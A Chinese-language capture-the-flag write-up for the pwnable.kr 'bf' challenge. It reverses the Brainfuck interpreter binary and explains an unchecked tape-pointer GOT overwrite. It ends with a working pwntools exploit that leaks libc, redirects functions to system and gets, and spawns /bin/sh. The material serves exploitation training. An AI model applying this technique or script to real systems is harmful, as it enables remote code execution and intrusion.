题目链接:http://pwnable.kr/play.php
BrainFuck是什么鬼,百度一下.....
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。
其实就是闲着没事做出来的一种语言。
看看其八个描述符:
Brainfuck C > ++ptr; < --ptr; + ++*ptr; - --*ptr; . putchar(*ptr); , *ptr =getch(); [ while (*ptr) { ] }
字符 含义 > 指针加一 < 指针减一 + 指针指向的字节的值加一 - 指针指向的字节的值减一 . 输出指针指向的单元内容(ASCⅡ码) , 输入内容到指针指向的单元(ASCⅡ码) [ 如果指针指向的单元值为零,向后跳转到对应的]指令的次一指令处 ] 如果指针指向的单元值不为零,向前跳转到对应的[指令的次一指令处
大概了解之后我们就可以开始看看那两个文件了:
先将两个文件下下来看看,一个可执行文件,一个so libc....
将bf拖进ida
main()函数如下:
; int __cdecl main(int argc, const char **argv, const char **envp) public main main proc near anonymous_0= dword ptr -8 var_4= dword ptr -4 argc= dword ptr 8 argv= dword ptr 0Ch envp= dword ptr 10h push ebp mov ebp, esp push ebx and esp, 0FFFFFFF0h sub esp, 430h mov eax, [ebp+argv] mov [esp+1Ch], eax mov eax, large gs:14h mov [esp+42Ch], eax xor eax, eax mov eax, ds:stdout@@GLIBC_2_0 mov dword ptr [esp+0Ch], 0 ; n mov dword ptr [esp+8], 2 ; modes mov dword ptr [esp+4], 0 ; buf mov [esp], eax ; stream call _setvbuf mov eax, ds:stdin@@GLIBC_2_0 mov dword ptr [esp+0Ch], 0 ; n mov dword ptr [esp+8], 1 ; modes mov dword ptr [esp+4], 0 ; buf mov [esp], eax ; stream call _setvbuf mov ds:p, offset tape mov dword ptr [esp], offset aWelcomeToBrain ; "welcome to brainfuck testing system!!" call _puts mov dword ptr [esp], offset aTypeSomeBrainf ; "type some brainfuck instructions except"... call _puts mov dword ptr [esp+8], 400h ; n mov dword ptr [esp+4], 0 ; c lea eax, [esp+2Ch] mov [esp], eax ; s call _memset mov eax, ds:stdin@@GLIBC_2_0 mov [esp+8], eax ; stream mov dword ptr [esp+4], 400h ; n lea eax, [esp+2Ch] mov [esp], eax ; s call _fgets mov dword ptr [esp+28h], 0 jmp short loc_8048760 也可以f5 看看伪代码: int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@4 int v4; // edx@4 size_t i; // [esp+28h] [ebp-40Ch]@1 int v6; // [esp+2Ch] [ebp-408h]@1 int v7; // [esp+42Ch] [ebp-8h]@1 v7 = *MK_FP(__GS__, 20); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); p = (int)&tape; puts("welcome to brainfuck testing system!!"); puts("type some brainfuck instructions except [ ]"); memset(&v6, 0, 0x400u); fgets((char *)&v6, 1024, stdin); for ( i = 0; i < strlen((const char *)&v6); ++i ) do_brainfuck(*((_BYTE *)&v6 + i)); result = 0; v4 = *MK_FP(__GS__, 20) ^ v7; return result; }do_brainfuck()这个函数内容如下:
int __cdecl do_brainfuck(char a1) { int result; // eax@1 _BYTE *v2; // ebx@7 result = a1; switch ( a1 ) { case 43: // + // ++*ptr; result = p; ++*(_BYTE *)p; break; case 44: v2 = (_BYTE *)p; // , // *ptr =getch(); result = getchar(); *v2 = result; break; case 45: // - // --*ptr; result = p; --*(_BYTE *)p; break; case 46: result = putchar(*(char *)p); // . // putchar(*ptr); break; case 60: result = p-- - 1; // < // --ptr; break; case 62: result = p++ + 1; // > // ++ptr; break; case 91: result = puts("[ and ] not supported."); // [ // while (*ptr) { break; default: return result; } return result; } 所以这个程序的功能就是:0x1 用户输入一段fk程序
0x2 将其翻译并执行
这里注意:执行时还是在这个进程中 甚至可以说在这个函数中,他并没有任何隔离措施,所以我们可以使用bf来输出和写入这个进程的内存
看看main()中的三个函数:puts() ,memset(), fget(). 再联想到题目竟然给出了libc.so 这多次一举的做法明显是让我们通过修改GOT表 (关于GOT 和 plt 不了解的请点这里:GOT,PLT)从而修改函数。
刚好 memset()和 fgets()的参数都是同一个 我们就将 memset()改为gets(),将fgets()改为system()
这样我们就需要知道 memset()与fgets() 的got表地址,还要知道gets()和system()的全局地址。
memset()与fgets() 的got表地址 我们从可执行文件的got表可以得到
gets()和system()的全局地址 我们通过计算他们与原函数地址在so中的偏移从而通过将原函数的全局地址加或减得到
然后我们将putchar()函数的地址改为mian()函数的地址从而使得程序再执行一遍main()函数 执行我们的 gets()与 system().
下面我们可以通过两种方法:
1 使用bf构造语句输出putchar()的全局地址,再通过system() gets()与putchar()在so中的偏移,从而计算出system() gets()的全局地址
2 计算system() gets()与原函数的偏移通过将got表地址 加或减来实现
别人的payload:
libc = ELF('/home/c/ctf/libc.so.6') bf = remote('pwnable.kr', 9001) bf.recvline_startswith('type') bf.sendline('<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.') bf.recv(1) x=bf.recv(4)[::-1] jump=0x080484E0 bf.send(p32(jump)) system=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['system'] gets=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['gets'] bf.send(p32(system)) bf.send(p32(gets)) bf.sendline('/bin/sh\x00') bf.interactive()